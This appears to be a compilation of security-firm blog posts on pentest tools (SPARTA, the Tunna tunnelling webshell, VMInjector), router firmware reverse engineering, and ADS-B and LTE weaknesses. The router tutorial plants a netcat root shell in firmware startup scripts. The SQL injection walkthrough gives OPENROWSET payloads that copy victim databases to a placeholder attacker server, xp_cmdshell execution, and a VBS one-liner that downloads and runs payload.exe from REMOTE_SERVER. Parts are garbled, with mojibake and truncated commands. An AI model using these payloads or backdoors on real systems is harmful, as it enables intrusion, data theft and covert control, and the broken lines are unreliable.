SPARTA is a python GUI application which simplifies network infrastructure penetration testing by aiding the penetration tester in the scanning and enumeration phase. It allows the tester to save time by having point-and-click access to his/her toolkit and by displaying all tool output in a convenient way. If little time is spent setting up commands and tools, more time can be spent focusing on analysing results.
SPARTA tries to simplify the way you run tools and centralises their outputs, displaying them in a meaningful way:
Apart from running tools across several hosts with a single click, you can also define automated tasks for services (ie: run Nikto on every HTTP service as soon as it is found) and have SPARTA do all the work for you:
– Run nmap from SPARTA or import nmap XML output.
– Transparent staged nmap: get results quickly and achieve thorough coverage.
– Configurable context menu for each service. You can configure what to run on discovered services. Any tool that can be run from a terminal, can be run from SPARTA.
– You can run any script or tool on a service across all the hosts in scope, just with a click of the mouse.
– Define automated tasks for services (ie. Run nikto on every HTTP service, or sslscan on every ssl service).
– Default credentials check for most common services. Of course, this can also be configured to run automatically.
– Identify password reuse on the tested infrastructure. If any usernames/passwords are found by Hydra they are stored in internal wordlists which can then be used on other targets in the same network (breaking news: sysadmins reuse passwords).
– Ability to mark hosts that you have already worked on so that you don’t waste time looking at them again.
– Website screenshot taker so that you don’t waste time on less interesting web servers.
For more information and to download SPARTA, go to:
Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP.
Due to popular demand, in this new version, Tunna (v1.1a) can be set up to be a local SOCKS proxy, that will accept any TCP traffic and send over to the webserver using HTTP requests. The traffic will be unwrapped at the server and forwarded to the specified address/port. Tunna effectively pivots connections through a webserver; thus bypassing firewall restrictions.
Secondary functionality added in the new version:
Tunna is now able to connect to the local proxy (if exists) and through the internal proxy, then tunnel the connection to the webserver.
A standalone Tunna webserver has been added for situations were a webserver is not available.
Windows compiled binaries for both “Tunna Client” and “Tunna webserver” have been added.
Ping delay increases (up to 60 sec) whenever data is not received. This minimises network traffic to the webserver with a small hit on waiting time that should be unnoticeable.
Tunna v1.1a Changelog:
Added SOCKS4a support
Support for UpStream Proxy
Removed Ruby version of Client
python proxy.py -u <remoteurl> -l 8000
This will set up Tunna and start a SOCKS4a proxy server on port 8000
SOCKS Operation Details:
Local ports are “mapped” to remote ports. For this, a header is added in every HTTP packet sent to/from the webserver that shows the originating/remote port. Once the packet is received, the header port is read and the rest of the data gets redirected to the correct port on the local side.
The SOCKS server is a simple implementation based on SOCKS protocol version 4 RFC. Currently “SOCKS BIND” method is not supported and protocols such as FTP cannot be used.
Bypassing Firewall restrictions:
As in the previous version if inbound HTTP traffic is allowed a webshell or Tunna webserver can be used to pivot connections.
For example, an external user can upload a Tunna webshell (or use Tunna webserver) on a remote webserver and request a service on the local host or any other host that will normally be blocked by the firewall. The request will be forwarded to the webserver in the form of an HTTP request (must be allowed by the firewall). The webserver is going to establish the connection for the user and redirect all traffic to that service. Response data will be transferred back to Tunna’s client in the form of HTTP responses.
Tunna can be used in situations where the firewall restricts access to certain hosts or services.
A user controlled Tunna webserver is needed as well as HTTP access to the remote webserver.
For example, an internal user can set Tunna (client) as his system’s proxy and request any website/service that is blocked. The request will be forwarded to the webserver in the form of an HTTP request. The webserver will establish the connection to the requested service and redirect all traffic to that service. Response data will be transferred back to Tunna’s Client in the form of HTTP responses.
In many companies, internal connections to the internet go via an internal proxy that restricts access to certain services or websites. Tunna can be configured to use that proxy for requests to Tunna’s webserver.
Tunna will get the proxy settings from the system (internet) options and use them for all requests. If this is not possible, then the proxy parameters can be set up as an argument (currently DIGEST and BASIC authentications are supported)
This is a python standalone webserver for Tunna. The functionality is the same as a webserver that has a Tunna webshell.
python webserver.py -r 0.0.0.0:8000
Will start a Tunna webserver listening on port 8000
Append –ssl to add SSL support (https)*
* In Windows (webserver.exe) the certificate file (certificate.pem) needs to be present in the same folder as the executable
Tunna SOCKS webshells:
For Tunna to be used as a SOCKS server when webshells are used, an executable that will handle the SOCKS traffic will be uploaded to the remote webserver and executed.
As well as Tunna generating a massive overhead for every TCP packet, theconnections are tunnelled through a single channel using HTTP requests. Consequently, large amounts of traffic translate to large amounts of HTTP requests. When a Tunna webshell is used, then this can lead to a Denial of Service condition where the webserver will not be able to cope with all the requests.The standalone Tunna webserver is significantly less prone to DOS.
Some functionality is still experimental; therefore it is recommended that Tunna webshells are not to be used as a permanent solution.
Although the mechanisms for clean-up and graceful shutdown are in place, in certain situations,when a Tunna webshell is used andthe “SOCKS Server” executable is not properly stopped and/or removed from the disk; then it will require a manual clean-up.
This part of the tutorial will focus on how to inspect all the different executables that you may find within the firmware using emulation software QEMU and then how to modify the firmware to get a root shell on the router. If you have not already done the first tutorial you can find it here
The reason QEMU is so useful is it allows us to try and see/understand what each executable within the firmware does without running it directly on the device. Naturally some of the executables may not work as expected due to certain files etc not existing outside of the device however many executables will still allow you to check their help menu and usage helping you gain a better understanding of what it might be used for. If you do not already have QEMU installed you can download it here.
In terms of getting a root shell on the router, the method that will be used in this tutorial is NOT an exploit, it is merely a modification of the firmware itself which on being loaded into the router will give you a shell. However it is worth noting that this doesn’t mean that it isn’t dangerous. If someone has the router administration page available over the internet and you know the credentials (or they are default) this modification will give you full control over the remote device. Even if it is a device on a local network, providing you have access you can make these modifications and the users would be none the wiser.
You will need the following things for this tutorial:
Before beginning ensure you have the aforementioned prerequisites, QEMU will take a while to compile so during this time it would be worth finding out the necessary information you will need to for the emulation. The most important piece of information we need to know is what architecture the embedded system is running e.g. is it running ARM or perhaps MIPS? An easy way to find out is to use the file command (detailed in the previous tutorial) to find out as in majority of cases it will reveal the architecture without you having to dig too much further.
As you can see from the screenshot above, using file shows that the architecture the router we are analysing is running is MIPS 32 bit. The reason we need to know this is that as you will see later on, when we go to use QEMU with the MIPS executables, we need to choose an architecture specific QEMU executable to emulate them.
Running MIPS Executables
This is where QEMU comes in, after the lengthy compilation (providing nothing went wrong) you should now be able to copy the relevant QEMU executable to the folder where your MIPS executables are stored to allow you to run them. If you have been using the FMK to extract the firmware then you will find the root file system within the /fmk/rootfs folder of the FMK installation directory. Once you have navigated to this folder you will need to copy the QEMU executable mentioned previously over to the folder. The easiest way to do so is to run the following command:
After running this command you should find that the qemu-mips executable has appeared within the folder. We can now use this executable to start inspecting the different executables we have extracted. The screenshot below shows both the command that needs to be run as well as the expected result. In this case I have attempted to see the help and usage of Busybox. Busybox is a commonly used executable that is a collection of linked tools that can be compiled to include many or very few tools depending on both the functional requirements as well as restrictions in space on the device it is being compiled for. I chose to inspect this straight away to see what kind of tools would be available to us if we managed to get access to the device. Also you may note that I am using chroot as part of the command. This is because naturally some executables will try and check /lib or /bin for any necessary modules it needs to run, however if we don’t use chroot it will attempt to check the actual operating systems /lib rather than the /lib contained within the rootfs folder we discussed earlier. If you would like to know more about why chroot is used you can find a more detailed description here
On running the Busybox executable you should be presented with the help menu seen below:
If you get an error trying to run this, try using chmod +x on the file to make sure it is executable and then re run the command.
What we want to look for is any tool that could be ran to give us a shell on the box e.g. Telnet, Netcat etc however as we can see there doesn’t appear to be anything of use on the Busybox included on the device. Whilst annoying, this isn’t the end of the world as fortunately this router allows us to upgrade the on-board firmware through the router administration page. So all we need to do is make the necessary changes we need to make to start a service listening and then upgrade the routers firmware with our own newly made custom image. As already mentioned we will not be able to use the current Busybox executable to get a shell however as we already know Busybox can be compiled to include a lot more tools including Netcat. For the sake of this tutorial I will be downloading the full featured version from the site (link can be found in prerequisites) and replacing the originally version with it.
This is by no means the best method as it will require me to delete files from the device to prevent critical memory being overwritten during the upgrade (due to the new firmware size being bigger than the original). In this case I can just delete the help files found in /web which form part of the router administration site however an actual attacker would look to compile their own customised Busybox which includes everything the original did with a select few extras. This would prevent noticeable errors occurring when the legitimate user is using the router admin site.
After you have replaced the original Busybox with the new one, run it again with QEMU and you will see why we have replaced it.
As you can see there is a lot more tools at our disposal however the one that interests us most is nc (Netcat).
Getting a Root Shell
Now for the most interesting part of the tutorial and the part i’m sure you were looking forward to, this is where we will get a root shell on the router itself giving us full control over the device.
I’d just like to reiterate that this is not an exploit per se as it does not take advantage of any buffer overflows or authentication bypasses etc however it is abusing the fact that the router trusts that whatever firmware you go to upgrade it with is completely legitimate. This method can only be used if you have local access to the device or if the owner (for some strange reason) has made the router admin pages available over the internet and if you know the credentials (if they are not the default admin/admin).
First of all providing you have been following the tutorial, you should now have a rootfs folder containing the original firmware files with the exception of your custom Busybox binary. The next step is to see if there’s a way we can tell the router to start nc for us everytime the router is turned on. The first thing to look for is any startup scripts that the router is using (which you will most likely find). Normally the startup scripts can be found in the /etc/rc.d/ folder (the script itself being rcs.sh) however if this is not there you can either manually go through each .sh file or you can use the quicker method of using the find command to look for any files ending in .sh.
On locating the script you can now insert your line of code to start nc , it is however a good idea to try and understand what the startup script is doing to ensure you don’t accidentally interupt a critical process. You can place pretty much any code you like here in terms of starting processes so for example on another router you could start your own ftp service running or perhaps a telnet service. In this case we will be adding the following code for a listening nc and attaching the shell process to it:
Basically what this code will do is tell the system to start the nc tool from Busybox listening on port 4444 and to attach the sh shell to it. The ampersand is to ensure it runs in the background ensuring it doesn’t prevent the instructions following it from running.
Once you have modified the script it is time to rebuild the firmware! This is made very simple by the Firmware Modification Kit due to it’s build-firmware script. Note this only works if you extracted the firmware using the extract-firmware script. Providing that the firmware image is the same size or less as the original, the firmware build should be successful. If not ensure you have removed the qemu-mips executable from the rootfs folder!
Now you should be able to see a new-firmware.bin file within the /fmk/fmk folder (one down from rootfs). This is the file that you will need to choose when upgrading through the router admin page.
All that’s left now is to wait for the router to install the firmware, reboot and then see if the command you put in the startup script worked. If you try and netcat to the port you set netcat to listen to, if it connects successfully, send it a system command to ensure it has attached to the shell correctly:
Eureka it works! now for the moment of truth lets see if we are root…
Congratulations it worked! The reason that we are root already without any escalation is because when the startup script is ran, the instructions in it required it to be ran as root, so naturally the nc shell command we added was also ran with root privileges.
So now you know a basic method to get a root shell on a router! whilst this exact way will not work on all routers, the methodology can still be applied to get similar if not the same results.
This series will follow the process of reverse engineering router firmware with the purpose of discovering any vulnerabilities that could be used either remotely or locally to compromise the router. In this section I will mainly be covering how to extract/download the firmware alongside a very basic way to get a root shell on the firmware in this tutorial.
Firstly the firmware being analysed in this tutorial can be found here (for v8 of the TP-Link WR841N). In some cases, the firmware for your device of choice can be found by using your preferred search engine due to a lot of manufacturers making the firmware freely available for download, however due to the growing interest in the exploitation of embedded devices, it is becoming common practice to only have the firmware accessible by accessing the device physically i.e.. using a serial port or by manually dumping the flash memory.
General Linux RE Tools
file – To determine if it is a valid file/file type.
squashfs-tools – Can apt-get squashfs-tools for this. Bundle of tools to enable you to play with the squashfs in this tutorial
Generally the normal start to reverse engineering is to dump as much information on the file you can get using the standard Linux tools listed above. This should give enough information to determine where to go next for example in the hexdump you may find sqsh meaning that there is a squashfs on the file or perhaps spot U-Boot which is a well documented boot loader used frequently within firmware packages.
The file tool essentially just tells us whether or not the file is a known file type and in some cases what kind of file it is e.g. data file.
You should see something similar to this:
Which will confirm whether it is a readable/known file type or whether further investigation is needed. In this case we can see that it is (naturally) a data file.
The hexdump tool is invaluable as it allows you to inspect the dump for any key phrases or words that can tell you what kind of system you are reversing as previously mentioned. The hexdump for this file should look like this:
The command above will pipe the results of the hexdump into a file (hexTP.txt) for further analysis. The -C sets hexdump to format the dump in Canonical hex+ASCII display making it easier to read. In this case we don’t gain all that much from the hexdump other than the manufacturer being TP-Link (which we already know) so the next step would be to try running strings on the .bin file to see if it gives us a more informative result.
Strings is probably the most used and one of the best tools to start with as it displays all the printable data within the file. This can allow you to analyse the header of the file etc. Like we did with the hexdump, it is worthwhile piping the result of strings into a file for your own convenience to save having to re run strings every time you want to check something.
We find a few interesting phrases within the strings results:
This was done just by opening the strings result file we found and searching for common boot loader names of file system names e.g. U-boot. This could also be done by grepping the file should you prefer. Now we know that the embedded device is using the U-boot boot loader and the version meaning that we can look up the documentation for it to gain a better understanding of the how the embedded device is designed.
Binwalk is a valuable tool to have considering it will scrape the bin file for any firmware headers or file systems that it may contain and then show you the offset of each of these sections should you wish to dd them. The binwalk output should produce:
Which gives us a wealth of information relating to the firmwares structure, from the boot loader it is using to the file system type. From these results we know that the firmware runs a Linux system on MIPS architecture, with a Squashfs file system that has been compressed using LZMA. It also confirms that the boot loader is indeed U-Boot as found in the strings results.
Extracting the Filesystem
Now comes the interesting section where we get to extract the contents of the file system held in the firmware image. With it being a Linux system it is safe to assume that the file system should contain the standard linux default folders where we could find some sensitive information e.g. the passwd or shadow file.
One of the ways that a lot of people will extract the FS is by using dd. However for the sake of time and ease, there are two main ways I would recommend for extraction.
The first is to use the -e parameter of binwalk which will automatically extract everything from the firmware image for you.
user@host$ binwalk -e <input file>
The second, and more efficient way of extracting is to use the extract-firmware.sh script that can be found in the Firmware Modification Kit. The reason for this is due to the fact that should you wish to modify the firmware and repack it, you can use the other script build-firmware.sh to do so. It saves a lot of time than manually extracting and handles all the offsets etc for you. The extract script will create a new set of folders within the fmk directory whereby you can find all the contents of the file system, the path should be /fmk/rootfs.
In the next part I will show you how to emulate the router architecture so you can try and run files that you extracted from the file system as well as how to get a root shell on the router!
The disappearance of flight Malaysia Airlines MH370 has raised questions about why it is taking authorities so long to find out the aircraft’s location – with lots of people asking ‘why don’t they just use a GPS tracker to track it down?’ Currently, Air Traffic Control (ATC) uses a combination of radar detectors from the ground, and Aircraft Communications Addressing and Reporting System (ACARS), a system on board the aircraft similar to text messaging, which sends very limited data about a plane’s location every 15-30 minutes. A new GPS-based system which will provide much more detailed information is being rolled out in many countries, with the majority of commercial flights expected to be updated by 2020.
We wanted to break down exactly how secure the navigation systems are on board commercial flights and do they pose a threat to security? Could someone hack into them and cause a catastrophic breach of security, and exactly how easy is it for a criminal to target a commercial plane in such an attack?
First, let’s take a closer look at how a plane’s existing communication system works. Pilots in control of a plane need to be able to easily communicate both with the nearest Air Traffic Control (ATC), and with other nearby aircraft. ATC collects information via two radars – the first radar sends a signal over a voice channel, which bounces off the body of the plane and comes back to ATC. This does not require the plane to respond back – the radar just detects that there is an object in the sky and the plane’s bearing and distance can be calculated by ATC. They also use an SSR (Secondary Surveillance Radar) which not only locates the plane with a radar, but also queries additional information which is received by the plane’s transponder, an electronic device that produces an automatic response when it receives a radio-frequency interrogation. The plane automatically replies with a transponder code identifying the airline, flight, and altitude.
The new, more advanced GPS-based technology called Automatic Dependent Surveillance-Broadcast (ADS-B) allows automatic communication between a plane, other planes in the nearby vicinity and ATC. It is planned to completely replace traditional radar-based surveillance by the end of 2020, not only in the USA but all over the world. The technology consists of two different services: ADS-B Out and ADS-B In.
ADS-B Out broadcasts accurate information every second about the aircraft ID, altitude, velocity and position to ATC and, in general to any other passing aircraft.
ADS-B In allows the aircraft to automatically receive data from outside – for example from ATC and other nearby planes. The TCAS (Traffic Collision Avoidance System), which stops planes from colliding, works in co-operation with ADS-B In.
Could the manipulation of ADS-B allow an attacker to change the normal behavior of a plane during the flight? Let’s check out the security of these protocols and why they could cause a problem in-flight:
Clear-text communication means anyone can eavesdrop
Clear text is way of sending data with no encryption. Therefore, eavesdropping of data is an issue. Information broadcast by ADS-B is transmitted in clear-text, which means that anyone could easily use it to locate the plane, identify the aircraft ID and its position and altitude.
Lack of authentication means anyone can impersonate ATC or a passing plane
In most IT systems, when two parties exchange information, at least one will need to authenticate itself i.e. prove they are who they say they are. Most commonly, a username and password is used, but there are other ways, such as key authentication. In some cases such as this one, two-way authentication should be required to ensure that an attacker cannot impersonate any of the parties.
ADS-B does not implement any kind of authentication, and therefore an attacker impersonating another aircraft or ATC would be able to send data to the cockpit and there would be no security mechanism to identify whether the source is legitimate.
Signal jamming could cause a pilot to miss important information
Another potential threat is signal jamming. As the protocol doesn’t require any authentication, an attacker could potentially inject a large amount of data, which could cause disruption or loss of availability of the authentic information from ATC or a passing plane. It could cause the pilot to miss important information.
Lack of integrity validation means an attacker could re-send old messages from ATC
In strong protocols, there are mechanisms in place to detect a loss of integrity or data being manipulated in transit.
The ADS-B In service does not verify the integrity of the data it receives into the plane, which, even if it originated from an authentic source could have been changed or manipulated by an attacker. Similarly, authentic data from ATC or a passing plane could be resent again in future by an attacker. This means that an attacker could fairly easily impersonate ATC by reusing old messages. Moreover, ADS-B does not require any further verification between receiving the data to the plane’s system and sending it to the cockpit – a change upon receipt of the data would not be detected.
GPS jamming and spoofing could make the pilot think the plane is located elsewhere
ADS-B uses a GPS signal for navigation. GPS jamming is not a new technique and it may be possible for an attacker to block the ability of the aircraft to use GPS. Additionally, there has been considerable research on GPS spoofing in which it would be possible to manipulate GPS signals to send fake location coordinates to the GPS receiver. As in the previous attacks, the pilot would be unable to identify whether the GPS reader is reporting accurate information.
Lack of widely-used multilateration makes it easier to perform a successful cyber attack
Multilateration is a mechanism in planes that broadcasts a signal which is picked up by multiple triangulators on the ground. Based on the time difference between the receptions, it is possible to triangulate and identify the exact location of an aircraft. An attacker would find it extremely difficult to manipulate the output from this system as it uses the law of physics. In the case of a cyber attack it would send ATC reliable information about the plane’s true whereabouts. It is generally not used by default.
The attacks explained are not challenging for an attacker to implement. Either someone on board (or on the ground and in range of the aircraft) could potentially trick the pilot into reacting to fake signals such as inexistent passing traffic, fake flight divergence, bogus weather report etc – or stop the pilot from receiving legitimate communication from other planes or ATC without them realizing. The only equipment an attacker would need would be a laptop (or embedded device) and an antenna – and it would be possible for an attacker to do this from the ground, though the range of the attack can vary depending on what kind of hardware the attacker uses.
All the tools a malicious attacker would need can be bought cheaply. It is even possible to convert a TV tuner into an ADS-B receiver. As well as being cheap, the antennas are small, making it even easier to hide them and use discreetly.
In a nutshell, the current communication protocols in ADS-B when looked at in isolation are fundamentally insecure, and manipulation of the information received by an aircraft is relatively easy to do. However, the information above analyses the risks of this protocol used in isolation. Airlines may have additional security mechanisms in place that are designed to minimize the success of potential attacks .e.g processes, procedures, staff training.
As with any system, the data received by the p ADS-B becomes more widespread, manufactures will undoubtedly show due diligence by investing in stronger security mechanisms and ensuring that the risks of cyber-attacks are minimized. Until then, it is just possible that a cyber criminal could at the very least cause confusion for pilots and, in the worst case, divert a flight in mid-air or cause a collision.
4G is the fourth generation of mobile communication standards and it is very well underway to succeed the 3G technology and offer broadband performance, voice-video multimedia applications, significant increases in data rates and even better security(?).
The main difference about 4G wireless networks is that they operate entirely on TCP/IP architecture. Only packet-switched communication is supported for improved performance and all signaling and control network protocols are IP-based, thus, making the standard cost-effective and compatible across heterogeneous technologies.
The Architecture on a high-level:
The eNodeB (eNB) is the only network element in LTE with the task of establishing radio communication with the User Equipment (UE – a 4G capable mobile device) and respectively with the EPC (MME, S-GW) over the transport layer. eNodeBs can be considered the equivalent of an enhanced Base Station. An alternative to the eNodeB, the HeNB (Femtocell) functions as a low-power base station which is owned by the network provider and is designed to provide coverage and capacity solutions in indoors spaces.
The MME (Mobile Management Entity) is a key element of LTE as far as control operations are concerned. The MME unit, similarly to the VLR in 3G, is responsible for signaling, tracking the location of idle UEs, user authentication and the selection of the most optimal S-GW for the UE based on network topology and the location of the UE within the network.
The HSS (Home Subscriber Service) is a component of the UE’s home network and, very much like the Home location register (HLR) in 3G, works as a central database containing subscription-related information, service and mobility data. Moreover, it keeps track of the user’s current MME address and holds pre-shared key material used to generate session authentication data which serves authentication purposes. The authentication method in LTE is again a challenge-response protocol which is completed between the UE and the MME based on the information that the HSS has generated and provided.
The main responsibility of the S-GW is to relay data between the eNodeB and the PDN gateway. S-GW acts as a router. Among others, the serving gateway will handle the redirection of data flow to a new eNodeB in case of a handover.
The PDN communicates user data to and from external data networks (service operator’s wireline network, Internet) and as a result, operates very similarly to the GPRS support node (GGSN) in UMTS and GSM. In other words, it allows the UE to communicate with entities outside the service provider’s main IP network. The most important functions of this LTE component are as follow: IP allocation to the UE, maintaining connection the network while moving from one place to another, billing – charging support, Quality-of-service (QoS) functions, packet filtering.
The Policy and Charging Rule Function (PCRF) is a software node which is responsible for policy enforcement, as well as for controlling the flow-based charging functionalities which reside in the P-GW. The PCRF will provide QoS information to the PDN, determine charging policy for data packets and dynamically manage data sessions.
Many of the new features work as improvements compared to 4G’s predecessors and one can identify many advantages in terms of performance, speed and security (higher-strength encryption, IP based configuration as opposed to 3G radio, etc.)
However, the question remains; how well are we prepared for this new wave of technology, how ahead and to what extent have we planned for this?
One of the most important requirements of LTE is seamless mobility support across eNBs. Handovers are to be handled fast and transparently without causing any disruption to the communication flow.
When our UE currently associated with eNB1 moves closer to the coverage area of eNB2, the former sends coupling information to the latter. Then, eNB1 commands the UE to change the radio bearer to eNB2 and for that purpose forwards the handover command which contains connection specific information (C-RNTI, RACH Random Access Channel preamble, expiry date). The handover is complete after the UE forwards the identifier C-RNTI to the new eNB (like an ACK/confirmation message) and the eNB2 notifies the MME of the handover.
The UE sends this temporary identifier (C-RNTI) optionally in cleartext making it possible for a passive attacker to determine whether the UE has moved to a different cell. Having said that, an attacker is able to link the new and the old C-RNTIs and eventually track the UE over different cells.
When a femtocell provides better signal over a regular tower it is preferred by nearby UE devices. The problem is that connection to a femtocell can be transparent, meaning that a user does not often know he is connected to one, therefore, enabling an attacker who controls a tampered device to intercept user data in transit. Latest demonstrations of compromised and enhanced in power femtocell units show that this concern is not unfounded at all, as an attacker suitably positioned in crowded, public spaces could potentially track the activities of all nearby 4G devices.
The 4g LTE network is an all-IP network with millions of very diverse components. Additionally, its development is coupled with a necessity for moving from the older, proprietary operating systems for handheld devices to open, standardized ones. Since all these devices will be operating on the network layer they become dynamically susceptible to all the existing attack techniques and methods present on the Internet (or any other IP based network) today. For instance, downloading malicious content can now affect the network on a larger scale and to a greater extent. This might signify a shift of security concerns towards the end user’s technology (smartphones, laptops, dongles etc.) rather than the network protocols in place.
It is also very likely that new issues will arise or become more common due to the untried nature of the 4G standard. For example, instances of attacks associated with VoIP (DoS, SPIT spam over Internet Telephony, Voice Service Theft, Registration Hijacking) are likely to increase exponentially due to the immense expansion of the attack surface. Finally, an availability concern is how the newly introduced encryption schemes will affect the performance of this IP-based infrastructure.
Other 4G related attacks can be found in academic literature:
– Scrambling – Interference attacks
– Denial of Service – Bandwidth stealing attacks
Finally, we need to keep in mind that as 4G LTE is not backwards compatible with 3G and, therefore, there is no fallback position in this case. Consequently, it becomes clear that security is of paramount importance to its success.
A couple of months ago SECFORCE was set to create the ultimate webshell. The idea behind it was to include all the tools a pentester needs in one webshell and make our lifes easier by for example dropping a meterpreter shell on the remote webserver with as less user interaction as possible.
Soon it was apparent that it would be much “cooler” for the webshell to communicate with a meterpreter shell without the need for meterpreter to expose or bind an external port. The benefits of it are obvious – this would effectively bypass any firewall rules in place.
It was realised that this could be a nice tool on its own so the project was forked and development started. Some time later a set of webshells and the client proxies were created. The task was not as easy as it seems, mostly because it is hard to keep it simple and at the same time make the same code work across different languages. Still there are some “programming language” quirks that could not be bypassed or made transparent to the end user. Given the different technologies in play (web servers / web languages / client languages) and all the possible combinations it would be very hard to tackle some of the issues and make it seamless to the end user without loosing some of the tools flexibility. Having said that, Java proved to be the most problematic language of the whole bunch – this needs to be said. Java was eating bytes in large packets – reasons for this are still not obvious – making both debugging and optimisation a pain. Apart from that, the PHP webshell also works in a somehow different way where it stalls a thread on the remote server to keep the connection alive. However, the latter is seamless to the user.
Tunna Framework - Penetration Testing
What Tunna does is to open a TCP connection (socket) between the webserver (webshell) and a socket on the local machine (webserver). It is also possible to open a connection to any other machine but lets keep this example simple. The client also opens a local socket and starts listening for connections. When a connection is established on the local client any communication would be sent over to the webshell in an HTTP request. The webshell will extract the data and put write them its local socket (remote socket for the client). Now the problem with HTTP is that you cannot really have asynchronous responses. The easiest way to tackle this issue was to keep querying the webshell for data. This creates a lag but it is nothing a pentester cannot live with – at this point it must be noted once more that this is a tool “to get a remote meterpreter shell if the firewall is blocking external connections” and not for critical/real-time applications.
After that, we went back to the original idea and created the metasploit module. It is still under development and should be used with extreme caution. It is still recommended to upload a meterpreter shell and use Tunna main module to connect to it. The metasploit module can be summarised as a “half rewrite of the existing code to work with or around metasploit API” (mostly around). This means that “code hacks” were created as needed to make it work. To be architecturally correct with metasploit, the original idea was to create a new metasploit “handler” … however, this proved to be harder than expected and what you get is a bastardisation of handler-exploit … but it works.
Lastly, any comments, bugs or improvement ideas are welcome.
If all of the requirements above are met then the following technique can be used:
On the local server create a new database with a table to store the results:
CREATE DATABASEÂ output_db;
CREATE TABLE output_db..output ( result VARCHAR(MAX) );
Lastly, open the ports and change the config for remotely connecting to the database.
On the remote server test for OPENROWSET Â and external connection:
; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=LOCAL_SERVER_IP;
output_db.dbo.output)Â SELECT @@version–
This instructs the remote database server to connect to the local database and write the result of theÂ SELECT @@version command. If “SELECT * from output_db..output” returns any results then you are in luck otherwise continue using sqlmap…
Now we can change the “SELECT @@version” part to run any command we want and the results are going to get saved our database.
NOTE: Â OPENROWSET needs the destination table to have the same columns as the ones returned by the remote command ans *similar* types to avoid any errors
After you create a new database make a copy of the local sysdatabases and empty it:
SELECT TOP 0 * INTO master_copy..sysdatabases from master..sysdatabases;
Copy the Remote sysobjects over toÂ master_copy..sysdatabases;
; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=LOCAL_SERVER_IP;
master_copy..sysdatabases;)Â SELECT * FROM master..sysdatabases;–
For every returned name create a new database and list tables
; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=LOCAL_SERVER_IP;
uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘, LOCAL_DB_NAME..tables;)Â SELECT name FROM REMOTE_DB_NAME..sysobjects WHERE xtype = ‘U';–
For every returned table create a new table for to hold the column data
CREATE TABLEÂ LOCAL_DB_NAME..columns ( name VARCHAR(MAX), type VARCHAR(MAX) );
; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=localhost;uid=sa;pwd=sa’, LOCAL_DB_NAME.dbo.columns) SELECTÂ REMOTE_DB_NAME..syscolumns.name,
TYPE_NAME(REMOTE_DB_NAME..syscolumns.xtype) FROM REMOTE_DB_NAME..syscolumns,Â REMOTE_DB_NAME..sysobjects WHERE REMOTE_DB_NAME..syscolumns.id=REMOTE_DB_NAME..sysobjects.id AND REMOTE_DB_NAME..sysobjects.name=’sysobj';
Now create a new table with the same columns and data types and copy using the same command as above
; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=LOCAL_SERVER_IP;
uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘, LOCAL_DB_NAME..TABLE;)Â SELECT * FROM REMOTE_DB_NAME..TABLE;–
Or create a new table with only theÂ columnsÂ you need and copy over only those
Bruteforcing the sa password for command execution is possible with double OPENROWSET. The first OPENROWSET is the connection back to our database, the second OPENROWSET instructs the remote DB to connect to itself as sa run “SELECT @@version” and return the result to us.
; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=LOCAL_SERVER_IP;
SELECT * FROM OPENROWSET(‘SQLNCLI’,’server=localhost;uid=sa;pwd=PASSWORD‘,’SELECT @@version’)
Command execution with output of the results (if the sa password is known)
; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=LOCAL_SERVER_IP;
SELECT * FROM OPENROWSET(‘SQLNCLI’,’server=localhost;uid=sa;pwd=PASSWORD‘,
‘set fmtonly off; exec master..xp_cmdshell ”dir” ; ‘)–
NOTE: because of the “fmtonly off” instruction the issued command is going to be run twice. This makes echo-ing to script files a bit harder.
A nice technique for running meterpreter is through powershell. SET framework will take care of everything … it’s only a matter of copying the command payload.
… or do it yourself. The following commands are for downloading a file from a web server, and running it.
If this doesn’t work, you can echo and run the one-liner vbs script below:
echo Set objXMLHTTP=CreateObject(“MSXML2.XMLHTTP”):objXMLHTTP.open
“GET”, “http://REMOTE_SERVER/payload.exe“, false:objXMLHTTP.send():
If objXMLHTTP.Status=200 Then Set objADOStream=CreateObject(“ADODB.Stream”):
Set objFSO = Nothing:
Set objXMLHTTP=Nothing >Â C:\DESTINATION_FOLDER\script.vbs
Run the script:
cscriptÂ Â C:\DESTINATION_FOLDER\script.vbs
Run the payload:
$ chmod -x attack//Protecting the web server (for the non pen-testers)
What went wrong – Recommendations:
First off all, the SQL injection, (*obviously*) sanitizing the input would be the first step. However this is only part of the problem, other factors contributed into making this attack vector possible. At least this would not lead to complete compromise of the server if a layered approach was taken and theÂ perimeterÂ wasÂ adequatelyÂ protected.
For example if the outbound connections were firewalled (eg. deny all outbound and only allow incoming connections to the webserver), it would not be possible to make a remote connection to our own server in order to get the SQL results.
Secondly, hash AND SALT all database passwords. Many reasons for that just accept the fact that this is how it must/should be done.
Lastly, make the sa password hard to guess and do not reuse passwords, specifically administrative passwords.
If all of the above were implemented, then the attack would take significantly more time and the attacker would get at most an administrative password (for the web application) which hopefully would take years to crack. Instead of the attack taking a couple of hours and leading to complete compromisation of the host.
Last note: all of the above scenarios are based on vague assumptions about the configuration or typical configurations.
VMInjector is a tool designed to bypass OS login authentication screens of major operating systems running on VMware Workstation/Player, by using direct memory manipulation.
VMInjector is a tool which manipulates the memory of VMware guests in order to bypass the operation system authentication screen.
VMware handles the resources allocated to guest operating systems, including RAM memory. VMInjector injects a DLL library into the VMWare process to gain access to the mapped resources. The DLL library works by parsing memory space owned by the VMware process and locating the memory-mapped RAM file, which corresponds to the guest’s RAM image. By manipulating the allocated RAM file and patching the function in charge of the authentication, an attacker gains unauthorised access to the underlying virtual host.
VMInjector can currently bypass locked Windows, Ubuntu and Mac OS X operation systems.
The in-memory patching is non-persistent, and rebooting the guest virtual machine will restore the normal password functionality.
VMInjector can be used if the password of a virtual host is forgotten and requires reset.
Most usually, this tool can be used during penetration testing activities, when access to a VMWare host is achieved and the attacker is looking to gain additional access to the guests running in such host.
Windows machine (with administrative access);
VMware workstation or player edition;
A locked guest VM;
VMInjector consists of 2 parts:
The DLL injection application (python script or provided converted executable)
DLL library (x86 and x64)
